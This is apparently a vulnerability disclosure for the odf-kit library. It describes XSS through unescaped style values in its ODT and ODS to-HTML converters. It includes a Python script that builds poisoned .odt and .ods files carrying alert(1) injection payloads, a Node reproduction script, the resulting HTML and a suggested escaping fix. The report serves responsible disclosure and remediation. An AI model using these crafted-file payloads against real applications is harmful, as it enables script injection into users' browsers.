odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values

ODS renderer (src/ods/to-html/html-renderer.ts) — same bug

buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):

if (includeStyles && cell.formatting) {
    const style = buildInlineStyle(cell.formatting);
    if (style) attrs.push(`style="${style}"`);
}

Additionally, row.height (from style:row-height) goes raw into the row element (line 95):

const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;

The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.

Version scope

The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.

PoC

Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:

import zipfile

def build(path, mimetype, content):
    # ODF requires 'mimetype' first and stored uncompressed
    with zipfile.ZipFile(path, "w") as z:
        z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
        z.writestr("META-INF/manifest.xml",
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
            ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
            ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
            '</manifest:manifest>\n')
        z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
        '<office:document-content\n'
        ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
        ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
        ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
        ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')

Q = "&quot;"
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}"                       # attribute injection
p2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}'  # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="paragraph" style:name="P1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:text><text:p text:style-name="P1">hello</text:p>'
        '</office:text></office:body></office:document-content>\n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="table-cell" style:name="ce1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:spreadsheet><table:table table:name="Sheet1"'
        ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">'
        '<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">'
        '<text:p>hello</text:p></table:table-cell></table:table-row>'
        '</table:table></office:spreadsheet></office:body></office:document-content>\n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))

This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:

<style:text-properties fo:color="red&quot; onmouseover=&quot;alert(1)&quot; x=&quot;"/>

poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:

red" onmouseover="alert(1)" x="

(encoded as " in the XML). Output of odtToHtml(bytes, { fragment: true }):

<p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p>

The quote breaks out of style, and onmouseover becomes a real attribute on the span.

poc2.odt — full markup injection (ODT). The style value is:

red"><img src=x onerror="alert(1)"><x style="

Output:

<p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p>

poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):

<tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr>

Reproduction script:

import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

Impact

Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today.

For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and escapeHtml is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the buildInlineStyle path above is the second instance of the same defect.

Suggested fix

Escape the assembled CSS string at every style="${...}" site, in both renderers:

html = `<span style="${escapeHtml(css)}">${html}</span>`

(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping row.height in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.